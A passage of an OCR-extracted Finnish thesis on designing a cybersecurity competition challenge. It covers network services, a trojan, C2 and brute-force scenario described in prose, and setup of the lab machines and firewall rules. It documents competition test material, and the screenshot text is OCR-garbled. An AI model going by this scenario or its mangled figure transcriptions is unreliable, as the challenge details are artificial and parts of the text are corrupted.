taa etayhteyden palvelimeen verkon kautta. AD DS hallitsee sitd, milla kayttajilla on
paasy tiettyihin resursseihin. Jarjestelmanvalvojille pystytaan DS:n avulla antamaan
laajemmat kayttooikeudet kuin tavalliselle kayttajalle. Palvelinta, jolla AD DS palvelu

on toiminnassa, kutsutaan Domain Controlleriksi eli DC:ksi. (Mt.)

AD DS kayttaa porrastettua rakennetta. Korkeimpana hierarkkisessa jarjestelmassa
on toimialuemetsa (domain forest), seuraavana tulee toimialuepuu (domain tree) ja
viimeisena toimialue eli domain. Tata asetelmaa kaytetaan verkotettujen element-
tien koordinoimiseksi. Puu koostuu yhdestéa toimialueesta ja sen mahdollisista alitoi-
mialueista (subdomain). Toimialuemetsa puolestaan koostuu useammasta toi-
mialuepuusta ja sen mahdollisista alitoimialueista (ks. kuvio 3). (Active Directory

2017.)

Yksi toimialue koostuu useista eri objekteista, jotka jakavat saman AD tietokannan.

Toimialueilla on DNS (Domain Name System) rakenne. (Active Directory 2018.)
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Toimialuemetsid = Domain Forest
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A = Toimialue = domain Toimialuepuu = Domain Tree

Kuvio 3. Toimialuemetsa

3.2 Domain Name System nimipalvelu

Nimipalvelu (DNS) koostuu hiearkisista toimialueista (domain). Jokaiselle toimialueen
osalla viitataan, joko juuritason (Root), ylemman tason (Top level domain), toisen ta-
son (Second level domains) tai aliverkkotunnuksena (Sub-domain) (ks. kuvio 4). Jokai-
nen FQDN:n (Fully Qualified Domain Name) taso erotetaan toisistaan pisteelld. DNS
resolverit kdyttavat pisteitd erottaakseen eri tasot toisistaan. DNS-nimien selvitys al-
kaa aina juuritasolta ja etenee sitten aina viimeiselle tasolle ja etsii sitten jaljelle jaa-
vasta kohteesta tiedot. Tiedot (DNS-nimi, IP-osoite) voidaan tallentaa yhteen tai use-
ampaan vyohyketiedostoon (Zone files). Useista vydhyketiedostoista koostuu vyo-

hyke (Zone), jota kutsutaan myds toimialueeksi. (DNS Hierarchy 2018.)
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DMS Hierarchy

ROOT
- -#————— Roat Level

e Ccom ®org  *Fedy enct w— TopLevel Domains (TLDS)

N

emci eatt ¥ berkeley -————— Second Level Domains

- Sub-Domain of parent
-
/ ‘berkeley adu’

¢ e0s #—— Host 'ens’

Kuvio 4. DNS Hierarchy (DNS Hierarchy 2018.)

3.3 Dynaaminen isantakonfiguraatioprotokolla

Dynaaminen isdantdakonfiguraatioprotokolla (DHCP) on asiakkaan ja palvelimen vali-
nen protokolla, joka toimittaa asiakkaalle IP-osoitteen ja muut siihen liittyvat konfi-
guraatiotiedot, kuten aliverkon peitteen ja oletusyhdyskaytavan, automaattisesti pal-

velimelta. (Dynamic Host Configuration Protocol (DHCP) 2019.)

Jokaisella verkon laitteella on oltava oma uniikki IP-osoite, mahdollistaakseen verkon
kdyton. Laitteen vaihtaessa verkosta toiseen tulee myds sen osoitteen vaihtua. liman
DHCP:ta uusi osoite pitdisi aina maarittaa manuaalisesti ja verkosta poistuneiden lait-
teiden IP-osoitteet tulisi ottaa manuaalisesti uudelleen kayttéon. DHCP:n avulla tdma
prosessi on automatisoitu ja keskitetty. DHCP-palvelin yllapitaa listaa IP-osoitteista ja
vuokraa sitten osoitteita asiakkaille (client), kun asiakas sellaista pyytaa. Osoitteiden

ollessa dynaamisia ne palautuvat automaattisesti kaytettavissa olevien IP-osoitteiden

listaan, kun niitd ei enaa kayteta. (Mt.)

3.4 Samba

Samba on ohjelma, jolla mahdollistetaan Linux ja Unix pohjaisten kayttojarjestelmien
yhteensopivuus Windows-kayttojarjestelmien kanssa. Vuodesta 1992 lahtien Samban

avulla on pystytty toteuttamaan stabiileja, seka nopeita tiedosto- ja tulostinjakoja
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kaikille asiakkaille, jotka kayttavat SMB/CIFS-protokollaa. Kyseisiin kdyttojarjestelmiin

lukeutuu mm. kaikki DOS- ja Windows -kayttojarjestelmat. (What is samba? n.d.)

Samba on tarkea komponentti, kun halutaan helposti integroida Linux- tai Unix-pal-
velimia Windows AD-ymparistédn. Samban avulla Linux-palvelin voi toimia myds Do-
main Controllerina tai sitten vain tavallisena toimialueen jasenena. Samba on ohjel-
mistopaketti, joka antaa jarjestelmanvalvojille joustavuutta ja vapautta asennuksen,
konfiguroinnin ja jarjestelmien suhteen. Naiden ominaisuuksiensa vuoksi Samba on

kasvattanut suosiotaan julkaisustaan lahtien. (Mt.)

Winbind-komponentti

Unix-pohjaisten ja Microsoft Windows-kayttojarjestelmien yhteensopivuus ja erityi-
sesti tiedostojen jakaminen nadiden kahden kayttojarjestelmien valilla karsisi suuresti,
jos toimialueen kayttajia ja kayttajaryhmia ja niiden oikeuksia ei pystyttaisi integroi-
maan. Winbind on osa Samba-kokonaisuutta, joka ratkaisee yhtendisen kirjautumi-
sen ongelman. Winbind kayttdaa Microsoftin RPC-kutsuja, PAM-moduulia ja NSS-
toiminnallisuutta mahdollistaakseen toimialueen kayttdjien ja kdyttdajaryhmien toimi-
vuuden Unix-kayttojarjestelmissa samalla tavalla kuin Unix-kayttojarjestelmien omat

kayttajat ja kayttajaryhmat. (Winbind Use of Domain Accounts 2005.)

PAM-moduuli

PAM lyhenne tulee sanoista Pluggable Authentication Modules, sita kaytetdaan mo-
nentyyppisissa tehtdvissa, johon tarvitaan autentikointia, auktorisointia ja muutok-
sien tekemistd, kuten salasanojen vaihtamista (What is PAM? 2016.). PAM tarjoaa
jarjestelmanvalvojille joustavuutta oikeudenhallinnan konfiguroinnin suhteen. Nyky-
aan Unix-pohjaiset jarjestelmat kayttavat PAMia hoitamaan autentikoinnin, auktori-
soinnin ja resurssien hallinnan provisiontiin eri ohjelmille ja kayttajille. (PAM-based

distributed authentication 2003.)

NSS-toiminnallisuus
NSS eli Name Service Switch on toiminnallisuus, joka mahdollistaa jarjestelméanvalvo-
jan valitsemaan mita nimi-informaatiopalvelua tai lahdetta kaytetdaan etsimaan tie-

toa. NSS:n avulla pystytaan esimerkiksi maarittamaan, etta etsitdanko toimialueen
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nimet paikallisesti /etc/hosts -tiedostosta vai esimerkiksi DNS-protokollan avulla ver-
kosta. NSS-toiminnallisuuden avulla pystytaankin lissamaan esim. paikallisen autenti-

koinnin lisdksi myos AD-autentikointi jarjestelmaan. (Name Service Switch (NSS) n.d.)

Kerberos-protokolla

Kerberos on MIT:n kehittama autentikointiprotokolla. Kerberos-protokolla kayttaa
salaisen avaimen kryptografiaa tarjotakseen turvallisia yhteyksia epaturvallisen ver-
kon yli. Suurimpina etuina kerberos -protokollalla on vahva salaus ja kertakirjautumi-
nen eli single-sign-on (SSO). Kertakirjautumisen avulla voidaan antaa kayttajille paa-
syja jarjestelmiin tai palveluihin. Kerberoksen kertakirjautumisella kayttajatunnusta

ja salasanaa kysytaan vain kerran. (Introduction to Kerberos n.d.)

Kerberos toimii kolmannen osapuolen luotettavana palvelimena, jota kutsutaan Key
Distribution Centerksi (KDC). Jokaista kayttdjaa ja palvelua verkossa kutsutaan kay-
tanteeksi. KDC koostuu kolmesta paadkomponentista. Ensimmaisena komponenttina
on autentikointipalvelin, joka hoitaa alustavan autentikoinnin ja antaa lippujen
myontamisliput eli ticket-granting ticketit (TGT) kayttajille. Toisena padkomponent-
tina on lippujen myontamispalvelu, joka myontaa palvelulippuja, jotka toimivat aikai-
semmin hankittujen TGT-lippujen perusteella. Kolmantena komponenttina on tieto-
kanta kaytanteista, joka koostuu salaisista avaimista kaikille kayttajille ja palveluille,

jota se yllapitaa. (Mt.)

3.5 pfSense palomuuri ja reititin

pfSense on ilmainen avoimen lahdekoodin palomuuri- ja reititinprojekti, joka hyodyn-
taa FreeBSD-kayttojarjestelmaa. pfSenseen on integroitu helppokayttéinen web-
kayttoliittyma, jolla palomuurin konfigurointi hoidetaan padosin. pfSense tarjoaa mo-
nipuolisen ja tehokkaan palomuurin ja reititysalustan. pfSensea voidaan kayttda aina
yksittdisen laitteen palomuurina, kotiverkon suojaamiseen tai jopa isojen yritysten ja
oppilaitosten verkkojen palomuurina. Projekti on saanut alkunsa vuonna 2004 Chris
Buechlerin ja Scott Ullrichin toimesta. pfSensa kadytetaan usein vain palomuurina,
mutta sitd voidaan myos kayttaa LAN/WAN -reitittimena tai jopa VPN/DHCP -palveli-
mena. (Buechler & Pingel 2019, 20-25.)
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4 Skenaarion suunnittelu

4.1 Harjoituksen tietoturvailmiot

Malwarebytesin raportin mukaan vuonna 2018 kyberhyokkaykset yrityksiin oli kasva-
nut 79 % edellisvuodesta. Tyypillisimpina hyokkayksina oli mm. troijalaiset, vakoi-
luohjelmat ja kiristyshaittaohjelmat. (2019 State of Malware 2019, 17.)

Troijalaiset

Troijalaiset ovat yksi haittaohjelmien tyyppi. Troijalaiset naamioituvat tavallisiksi oh-
jelmiksi, mutta todellisuudessa sisaltavat haitallista koodia. Troijalaiset yleensa suun-
nitellaan aiheuttamaan harmia loppukayttajalle tai varastamaan talta tietoa. Troija-
lainen eroaa tavallisesta tietokoneviruksesta siten, etteivat ne voi suorittaa itsedan
vaan kayttdjan on tehtava se. Troijalaiset eivat myoskaan voi replikoida itseaan. Troi-
jalaisia voidaan toimittaa esimerkiksi sahkdpostiviestien liitteend. Kayttdjan avatessa
sahkopostiliitteen ne suorittavat haitallisen koodinsa. Troijalaisia on monen tyyppi-
sia. Niiden tarkoitusperana voi olla kiristdaa loppukayttdjaa lukitsemalla tiedostoja, va-
rastaa sahkopostitietoja tai esimerkiksi sosiaalisen median tilitietoja. (What is a Tro-

jan? n.d.)

Command and Control-haittaohjelmat

Command and control eli komentokanavahyokkaykset voivat laajimmillaan saastut-
taa yrityksen ymparistén kokonaan. C2-hyokkaykset toteutetaan usein saastutta-
malla ensin yksi tydasema esimerkiksi sahkopostiliitteen avulla. C2-hyokkaykset kayt-
tavat usein DNS-protokollaa saastuttaakseen muita tydasemia verkossa. Tydaseman
saastumisen jalkeen C2-ohjelma alkaa keskustelemaan hyokkadjaan maaraaman C2-
palvelimen kanssa. Hyokkaaja pystyy yhteyden muodostettuaan suorittamaan mita
tahansa haitallista koodia kohteessaan. C2-ohjelmia kdytetdan myos bottiverkkojen
luomiseen. C2-hyokkayksen seuraamuksena voi olla tietomurto, tuotantoa haittaavia
hairiditd ja mahdollisesti jopa DDoS-hyokkayksida. (Command-and-Control Explained

n.d.)
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Brute-force -hyokkays
Brute-force -hyokkayksiksi luokitellaan sellaiset tapahtumat, jotka pyrkivat esimer-
kiksi murtamaan salasanan tai kayttajatunnuksen. Kaytannossa brute-force -hyok-
kayksessa kokeillaan jarjestelmallisesti eri salasanoja kdyttajatunnuksille. Brute-force
-hyokkays on vanha tapa pyrkia sisdaan kayttojarjestelmiin, mutta on vieldkin tehokas
riippuen salasanan kompleksisuusvaatimuksista. Kompleksisuusvaatimuksista riip-
puen salasanan murtaminen voi vieda muutamia sekunteja tai useita vuosia. Brute-
force -hyokkayksia pystytadan nopeuttamaan sanakirjojen ja numeroyhdistelmien

avulla. (What's a Brute Force Attack? n.d.)

4.2 Tapahtumaketju

Skenaarion suunnittelussa pyrittiin mahdollisimman realistiseen ja ajankohtaisiin tie-
toturvailmidihin. Taman vuoksi skenaariota suunnitelmaa lahdettiin toteuttamaan
pitkdlti aiemmin mainitun Malwarebytesin raportin pohjalta. Skenaariossa yrityksen
toimistotyontekija on ladannut internetista tiedoston, joka onkin troijalainen. Yrityk-
seen kohdistunut tietoturvapoikkeama laajenee troijalaisen jalkeen. Liitteessa 1 on

kuvattu tietoturvahaasteen suorittajalle annettu tehtavananto.

Taitaja2020 -kilpailussa kilpailijoille annettiin tehtdavan suorittamiseen aikaa 3 tuntia.
Jotta tietoturvahaasteessa oleva tietoturvapoikkeama olisi mahdollista suorittaa mai-
nitussa aikaikkunassa, ei tietoturvapoikkeama saa olla liian laajalle levinnyt. Tietotur-
vapoikkeama ei myoskaan saa olla teknisesti liilan haastava, kun otetaan huomioon

haasteeseen osallistuvien opintosuunnitelma ja osaamisvaatimukset tietoturvan suh-
teen. Ei voida myo6skaan olettaa kilpailijoiden kykenevan tutkimaan tietoturvapoik-

keamaa kovin syvillisesti. Kilpailijan tarkein tehtava onkin kyeta havaitsemaan ympa-

ristossa vallitseva tietoturvapoikkeama.

Kuviossa 5 on kuvattu ymparistodn kohdistuvan tietoturvapoikkeaman tapahtumat.
Tietoturvapoikkeama saa alkunsa, kun toimistotydntekija lataa vahingossa haittaoh-
jelman ja suorittaa sen. Haittaohjelma ottaa sen jalkeen yhteyden palvelimeen, jota
kautta agenttia eli haittaohjelmaa kaskytetaan. Hyokkaaja kaskyttaa agenttia ja kalas-

telee sen avulla paikallisesti tunnuksia ja pyrkii eskaloimaan oikeuksia. Varastettujen
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tunnuksien avulla hyokkaaja onnistuukin brute-force -hydkkayksen avulla kirjautu-
maan web-palvelimen WordPress-kayttoliittymaan. Hyokkaaja sitten tutkii ja varas-
taa sieltd loytyvaa tietoja, seka luo itselleen takaoven, jotta kykenee jatkossakin va-

rastamaan tietoja.

i u 4 5
Toimistoty@ntekija lataa Hydkkaaja luo oman
C2-agentin kayttajan web-palvelimelle.
L l A b T -
F a ' '
Agentti ottaa yhtetytta C2- Hyokkaaja tutkii ja varastaa
palvelimeen tietoa web-palvelimelta
A A b, #

i

Hydkkaaja onnistuu brute
forcettamaan web-
palvelimen kayttdliittyman.

[

T Hyikkaaja kayttaa
Hyo i};asat;;ik?:jlﬂzg“ma kalasteltuja tunnuksia
L hydkatessaan web-
uudelleenkaynnistykset) palvelimelle.

Kuvio 5. Hyokkadyksen tapahtumat

tunnuksia paikallisesti ja
kykenee eskaloimaan

HfDKKEIEIJEI kalastelee
itsensa adm|n|k5|

4.3 Tehtavapisteiden suunnittelu

Tehtavapisteiden suunnittelussa on otettu huomioon yleisimmat tietoturvapoik-
keamat, joita yrityksiin kohdistuu. Tehtavapisteiden suunnittelussa on myos otettu
huomioon suunnitellun kohderyhman oletettu osaamistaso. Tehtavapisteet on toteu-
tettu kohdennetulla hyokkdyksella. Liitteessa 2 on esitetty tietoturvahaasteen tehta-

vapisteet ja liitteessa 3 oikeat vastaukset.
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Lippujen tarkoituksena on tarjota testaajalle selkedt tavoitteet. Toteuttamisen vai-
keus on saada tehtya sellaisia lippuja, etta ne ovat myds testaajien tunnistettavissa,
mutta etta ne vastaisivat todellisia tilanteita mahdollisimman tarkasti. Tdman vuoksi
lippuja ei voi nimeta kovin ilmeisesti. Lippujen sijoituspisteina tulisi olla realistiset
kohteet, kuten arkaluontoiset tiedostot. Nimedamiskdytannolla tulisi hieman halven-

taa lippujen itsestaanselvyytta. (Buchanan 2014.)

Tietoturvapoikkeamien hallinnassa on tarkeaa pyrkia keraamaan todisteita mahdolli-
sesta tietoturvaselkkauksesta ja pyrkia todisteiden avulla parantamaan tietoturvaa ja
tietoturvakaytanteita. Tietoturvahaasteen kaikki tehtdvapisteet pohjautuvat todistei-
den kerdaamiseen tietoturvapoikkeaman sattuessa. Kilpailijan tavoitteena oli |6ytaa
ymparistosta tietoturvapoikkeaman aiheuttaja ja pyrkia pinnallisesti havainnoimaan
mita haittaohjelma tekee, seka pyrkia hahmottamaan tietoturvapoikkeaman laajuus.
Tehtavapisteilla pyritdaan luomaan kilpailijalle kasitys yksinkertaisesta tietoturvapoik-

keamasta ja poikkeamaan liittyvasta todisteiden keruusta.

Tehtavapisteita harjoituksessa on kymmenen ja niista sai yhteensa viisitoista pistetta.
Tehtavapisteista oli tarkoitus luoda helposti [ahestyttavia. Tavoitteena oli my6s luoda
haastavampia tehtavapisteita, joilla pyrittiin luomaan piste-eroa kilpailijoiden kesken.
Tehtavapiste 8 on ympariston haastavin, silla se on haittaohjelman luoma rekisteri-
merkinta, jonka avulla haittaohjelma suoritti itsensa aina sisaankirjautumisen yhtey-
dessa ja pyrki ottamaan yhteytta C2-palvelimeen. Tehtavapisteiden toteutuksesta

tarkemmin kappaleessa 5.7.

5 Virtuaaliympariston toteutus

5.1 Resurssien mitoitus

Taitaja2020-kisoihin ilmoitetuiksi resursseiksi kerrottiin 32GB RAM-muistia. Muista

teknisista lahtokohdista ei ollut tietoa, siksi tietoturvahaasteen suunnittelussa pyrit-
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tiin toteuttamaan virtuaaliymparisto kayttden mahdollisimman vdhan muisti- ja tal-
lennustilaresursseja. Virtuaaliympariston kayttamat resurssit on esitetty taulukossa
1. Virtuaaliympariston muistinkayttoa pyrittiin rajoittamaan mahdollisimman paljon,
jotta ympariston kayttaminen onnistuisi pienemmillakin resursseilla. Virtuaaliympa-
ristd rakennettiin Virtualboxin versiolla 6.0.18. Virtuaaliympariston kayttamiseen tar-

vitaan vahintdan 16GB RAM-muistia.

Taulukko 1. Virtuaaliymparistdn resurssit

Tallennustila Tallennustila

Muisti virtuaalinen kdytdnnossa
Resurrsit (MB) (GB) (GB)
Domain Control-
ler 1536 50 8,6
Firewall 1024 16 1,51
Fileserver 768 15 3,79
Webserver 1536 10 2,41
Workstation-1 1536 32 7,83
Workstation-2 4096 32 13,95
kali 2048 25 11,95
Yhteensa 12544 180 50,04

5.2 Windows serverin asentaminen

Virtuaaliympariston keskeisena virtuaalikoneena on Windows Server 2012 kayttojar-
jestelmalla varustettu Domain Controller. Virtuaalikoneelle allokoitiin 1536MB muis-
tia. Palvelimelle asennettiin kaikki keskeiset palvelut kuten AD, DNS ja DHCP. Muut

harjoituksen suhteen turhat palvelut pyrittiin karsimaan pois minimoidakseen resurs-

sien tarve.

Toimialueen hakemistopalvelun maarittdminen

Active Directoryn luominen aloitettiin valitsemalla juuritason toimialuenimi. Tyypilli-
sid juuritason toimialuenimena on yrityksen nimi ja toimialueen paatteena net. Juuri-
tason toimialuenimeksi valikoituikin siis yritysx.net (ks. kuvio 6). Juuritason toimialu-

een asennuksen yhteydessa tuli myds valita toimialueelle NetBIOS nimi, jonka avulla
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kayttdja pystyvat valitsemaan oikean toimialueen. NetBIOS nimeksi valikoitu pelkas-
taan YRITYSX, koska kyseessa on yrityksen ainoa toimialue eika muita toimialueita

tule virtuaaliymparistoon (ks. kuvio 7).

uration

T
e LI

Select the deployment operation

) Add a domain controller to an existing domain
() Add a new domain to an existing forest
® Add a new forest

Specify the domain information for this operation

Root domain name: Lfrit}fs.x.net

Kuvio 6. Juuritason toimialuenimi

Zonfiguration
i Verify the NetBIOS name assigned to the domain and change it if necessary

a7 s -
roller Lpaons

The NetBIOS domain name: YRITYSX

ns

=
[

Kuvio 7. NetBIOS nimi

Nimipalvelun asennus ja madrittely

DNS-nimipalvelun maarittamisessa luotiin DNS-alueeksi yritysx.net seuraamalla sa-
manlaista nimedmiskaytannetta kuin hakemistopalvelujen luomisessa (ks. kuvio 8).
DNS-alueen nimeamisen jalkeen valittiin palvelin, joka hoitaa DNS-kyselyihin vastaa-
misen kyseiselld DNS-alueella. Koska kyseessa on verrattain pieni ymparisto, keskitet-
tiin kaikki oleelliset palvelut Domain Controller-palvelimen varaan hallinnoinnin hel-

pottamiseksi (ks. kuvio 9). Oleellista DNS-palvelun toimivuudessa on myds varmistaa
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IP-osoitteiden kadantymisen myds nimiksi (ks. kuvio 10). Kyseista toimintoa nimetaan-

kin reverse lookup zoneksi.

Zone Name
What is the name of the new zone?

The zone name spedfies the portion of the DNS namespace for which this server is
authoritative. It might be vour organization's domain name (for example, microsoft.com)
or a portion of the domain name (for example, newzone.microsoft.com). The zone name is
not the name of the DNS server.

Zone name:
| yritysx.net]

Kuvio 8. DNS alueen nimedminen

Forwarders
Forwarders are DMNS servers to which this server sends gueries that it cannot
answer.

Should this DMNS server forward gueries?
i®) Yes, it should forward queries to DNS servers with the following IP addresses:

IP Address Server FQDN Validated Delete

<Click here to ...

@ 192.168.0.10  WIN-SERV-DC.yri... OK

() Mo, it should not forward queries

If this server is not configured to use forwarders, it can still resolve names using
root name servers.,

Kuvio 9. DNS kyselyiden valitys
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Reverse Lookup Zone Name
& reverse lookup zone translates IP addresses into DNS names,

To identify the reverse lookup zone, type the network ID or the name of the zone.
(@) Network ID:

|192 88 0 .

The network ID is the portion of the IP addresses that belongs to this zone. Enter the
network ID in its normal (not reversed) order.

If you use a zero in the network ID, it will appear in the zone name. For example,
network ID 10 would create zone 10.in-addr.arpa, and network ID 10.0 would create
zone 0.10.in-addr.arpa.

() Reverse lookup zone name:
| 0.168.192.in-addr.arpa |
L

Kuvio 10. Reverse lookup zonen maaritys

Dynaaminen isdntdkonfiguraatioprotokolla -palvelun asennus ja maarittely
DHCP-palvelu asennettiin helpottamaan IP-osoitteiden hallintaa. Yrityksen pienen si-
saverkon myota ei ollut tarvetta luoda paljon osoitteita sisaltavaa IP-osoiteavaruutta.
IP-osoiteavaruudeksi maariteliin jo kuviossa 2 esitetty 192.168.0.1/24 osoiteavaruus

(ks. kuvio 11).

IP Addres= Range . i
You define the scope address range by identifying & set of consecutive |P addresses.

— Configuration settings for DHCP Server
Enter the range of addresses that the scope distrbutes.

Start IP address: |192.153_ [

End IP address: |192.1EB. 0 .254

— Configuration settings that propagate to DHCP Client

[

Subnet mask: |255255255 0

Kuvio 11. DHCP:n IP-osoiteavaruus
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Osoiteavaruudesta poistettiin ensimmaiset 20 osoitetta kdytdsta. Nama osoitteet on
varattu muille tarkeille sisaverkon palvelimille ja niita ei jaeta tydasemien kesken. IP-
osoitteiden vuokra-ajaksi valittiin yksi vuorokausi. DHCP:n maarittamisen yhteydessa
madritettiin myos default gateway 192.168.0.1 ja DNS-palvelin osoitteeseen
192.168.0.10 (ks. kuvio 12). Maarittelyjen jalkeen palvelu tuli vield valtuuttaa toimi-

maan kyseisella toimialueella (ks. kuvio 13).

Domain Name and DNS Servers i
The Domain Mame System (DMS) maps and translates domain names used by clients

on your network.

You can specify the parent domain you want the client computers on your network to use for
DMS name resolution.

Parent domain:  (yritysxnet

To configure scope clients to use DNS servers on your networlc, enter the |P addresses for those
SEMVErS.
Server name: IP address:

WIN-SERV-DC i 192 168 . 0 . 10

Resolve ; 192.168.0.10

Kuvio 12. DNS-palvelin maarittdminen DHCP:n yhteyteen

Manage Authorized Servers | 2] x

Authorized DHCP servers:

Type the name or IP address of the DHCP server you want to authorize.

Mame or IP address:
152.168.0.10

| QK ; Cancel

Kuvio 13. DHCP-palvelimen valtuutus
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5.3 Tiedostopalvelimen asennus

Yrityksen sisdaverkkoon lisattiin tiedostopalvelin, jonka kayttojarjestelmaksi valittiin
Ubuntu 16.04. Kayttojarjestelmaksi valikoitui Linux-pohjainen kayttojarjestelma re-
surssien kayton minimoimisen vuoksi. Tiedostopalvelimelle asetettiin muistinmaa-

raksi 768MB.

Kerberoksen konfigurointi ja toimialueeseen liittyminen
Jotta tiedostopalvelin pystyttiin liittamaan toimialueeseen, tuli siihen asentaa tar-
peelliset ohjelmistot, kuten Samba, Kerberos ja Winbind. Tarvittavat asennuspaketit

asennettiin seuraavalla komennolla:

sudo apt-get install samba krb5-config krb5-user winbind libpam-winbind libnss-win-

bind

Asennuksen jalkeen palvelut konfiguroitiin liitteen 4 mukaisesti. Samba palvelun kon-
figuroinnista vastaa smb.conf tiedosto. Kyseisessa konfiguraatiotiedostossa on maari-
tetty toimialue, jossa tiedostojako tapahtuu ja tiedostopolku tiedostojaolle.

Krb5.conf tiedosto pitaa sisallaan Kerberoksen konfiguraatiot. Konfiguroinnin jalkeen

tiedostopalvelin liitettiin toimialueeseen komennolla:

sudo net ads join -U administrator

Jotta toimialueen kayttajat pystyvat kayttamaan samoja tunnuksia myos tiedostopal-
velimelle autentikoimisessa, tulee myds konfiguroida NSS-toiminnallisuus. NSS maa-
rittda mita nimi-informaatiopalvelua kaytetaan. Liitteessa 4 kohdassa 3 on NSS-
konfiguraatio, jossa nimi-informaatiopalveluksi on maaritetty myos Winbind. Win-
bind toimii varsinaisena autentikointipalveluna tiedostopalvelimen ja toimialueen va-
lilla. Winbind tuli aktivoida kaytt6on PAMin avulla. Taman jalkeen toimialueen kayt-
tajat sallittiin kayttamaan tiedostojakoa (ks. liite 4 kohta 4). Viimeisena toimenpi-
teend toimialueen paakayttajat lisattiin visudo komennolla tiedostopalvelimen paa-

kayttdjiksi ja todennettiin toimivuus (ks. liite 4 kohta 5).
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5.4 Tybasemat

Harjoitusymparistoon lisattiin 2 tydasemaa, joista Workstation-1 kuvaa tuotantoym-
pdriston tydasemia ja Workstation-2 kuvaa toimistotyontekijoiden tydasemia. Kayt-
tojarjestelmaksi tydasemille valikoitui Windows 7. Tydasemille ei juurikaan asennettu
ylimaaraisia ohjelmistoja. Kayttojarjestelman asennuksen jalkeen tydasemat liitettiin
toimialueeseen (ks. kuvio 14). Tydasemalle 2 asennettiin tehtdvan ratkaisua varten
mm. Autopsy- Netmon- ja Procmon-ohjelmistot. Kyseisille tyokaluille luotiin myds
pienimuotoiset ohjeet tehtavan suorittamisen helpottamiseksi (ks. liite 5). Tydase-
malle 1 asetettiin muistimaaraksi 1536MB. Tyoasemalle 2 muistirajaksi asetettiin
4096MB ohjelmistojen tarpeiden vuoksi. Tyoasemalle 2 lisattiin myés myéhemmin

jarjestelmanvalvojan oikeudet kadyttajatunnukselle pliimatta.

\: Systemn Properties == A | 44 | | Search Control Panel
Computer Name/Domain Changes ez Eie s on. All nghts reserved.
You can change the name and the membership of this mputer
,E- computer. Changes might affect access to network resources.
> Mare information
L
'ﬁ Computer name: s
.5' Worlcstation-1
Full computer name:

Workstation-1
Computer Name/Domain Changes @ !
U@ 230GHz 2.30 GHz

Mémbero{ Iol Welcome to the YRITYSX.NET domain.
@ Domain: ol

YRITYSX NET ble for this Display
s

YRITYSX _ .

@ Change settings

[ ox ][ Cance |

[ OK H Cancel J Apphy

Kuvio 14. Tyb6aseman liittdminen toimialueeseen
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5.5 Web-palvelin ja verkkosivut

Yrityksen DMZ-verkkoon luotiin web-palvelin, joka tarjoaa yrityksen verkkosivut.
Kayttojarjestelmaksi palvelimelle valittiin Ubuntu 16.04 ja muistirajaksi asetettiin
1536MB. Verkkosivujen kayttoéliittymaksi valittiin WordPress, johon asennettiin au-
dit-plugin lisdosa. Lisdosan tarkoituksen on helpottaa kilpailijoita havainnoimaan
verkkosivuihin kohdistuvia tietoturvapoikkeamia ja tapahtumia. Verkkosivuja varten
yritykselle sisaltoa verkkosivuille ja yrityksen verkkosivuille suunniteltiin myos logo

(ks. kuvio 15 ja kuvio 16).

x Yritys X:n kotisivut — Vinyyleji halvalla!

YRITYS X

Olet levyttdva artisti ja haluat tehd4 vinyylipainoksen levystisi? We got you covered!

| Laadukkaat masteroinnit ja vinyylipainokset meiltd sopuhintaan!

You just made a new album and want to make a vinyl pressing of it? We got you covered!
| Quality Mastering services and vinyl pressings at a fair price!

Tilaukset sdhkopostilla osoifteeseen cs@yritysx.net

Orders via email to cs@yritysx.net

Tuotteet

Kuvio 15. Yritys X:n etusivun kuvankaappaus
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Yritys >

Kuvio 16. Yritys X:n logo

5.6 pfSense palomuuri

Yrityksen sisaverkko eristettiin WAN- ja DMZ-verkosta palomuurin avulla. Virtuaaliko-
neelle luotiin kolme erillista verkkoliitinta. Yksi jokaista verkkoa kohden. Muistirajaksi

koneelle asetettiin 1024MB.

Palomuurisadannot

Palomuurisaannot tehtiin mahdollisimman minimaalisiksi. WAN-verkon palomuu-
risdannailla sallittiin liikkenne vain WAN-verkosta DMZ-verkkoon. Lisaksi palomuuri-
saantoihin lisattiin saanto, jolla tehtiin porttien 80 ja 443 (HTTP ja HTTPS) uudel-
leenohjaus DMZ-verkon Web-palvelimelle (ks. kuvio 17). Yrityksen sisaverkon palo-
muurisdaannot sallivat valmiiksi kaiken liikenteen LAN-verkosta muihin verkkoihin. Li-

saksi yrityksen sisdaverkossa sallittiin DMZ-verkosta tulevat DNS-kyselyt (ks. kuvio 18).



Floating WAN LAN DMZ

ESTRSTRTINTIOON
Rules (Drag to Change Order)
States Protocol Source Port Destination Port Gateway Queue Schedule Description Actions
X o0/ 0 * Reserved * * * * * Block Lo
B Not hogon
assigned networks
by IANA
v 0 IPv4 * *  DMZnet 80- * nene o
/126 TCP 443 Oe
MiB o
« 0/0 IPv4 WANnet *  DMZ net * % none 3.4
B ICMP De
any i
v 0/0 1Pvd * A 192.168.99.10 80- * none NAT .&,y
B TCP 443 NHe

Kuvio 17. WAN-verkon palomuurisdannot

Floating WAN LAN DMZ

Rules (Drag to Change Order)

States Protocol Source Port Destination Port  Gateway Queue Schedule Description Actions

v 3 * * *  LAN 80 * * Anti- Lo
/149 Address Lockout
KiB Rule
w 0/0 IPv4 DMZ x LAN net B3 * none .&, f
B TCP/UDP net (DNS) MNe
i
« 68 IPvd * LAN * * * * none Default 1.4
/16.27 net alowLan [@
MiB toanyrule T
 0/0 IPv6 * LAN * - * - none Default .&, &
net alowlAN [@
IPvbtoany 10
rule

Kuvio 18. LAN-verkon palomuurisaannot
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DMZ-verkon palomuurisdannoissa sallittiin SSH-yhteys LAN-verkosta DMZ-verkkoon.

DMZ-verkkoon sallittiin myos kaikista verkoista tulevat HTTP- ja HTTPS-yhteydet,

seka DNS-kyselyt LAN-verkosta DMZ-verkkoon. Yhteyksien testauksia varten sallittiin

my0s ICMP-protokolla (ks. kuvio 19).

Floating

WAN LAN

DMZ

Rules (Drag to Change Order)

States Protocol Source Port Destination Port

& 0/0

Kuvio 19

IPvd
ICMP

any

IPv4
TCP

IPv4
TCP

IPvd
TCP

IPvd
TCP

DMZ
net

LAN
net

LAN
net

*

*

DMZ net

DMZ net

*

53
(DNS)

80
(HTTP)

443
(HTTPS)

22
(SSH)

. DMZ-verkon palomuurisaannot

5.7 Tehtadvapisteiden toteutus

Gateway Queue Schedule Description Actions

*

none

none

none

none

none

ping from
dmz to any

dns from
lan to dmz

http to
dmz

https to
dmz

ssh from
lan to dmz

1.4
De
i

.4
De
i
I ¢
De
i

. &
De
i
3. &
De
i

Tehtavapisteiden toteutusta varteen WAN-verkkoon luotiin Kali Linux virtuaalikone.

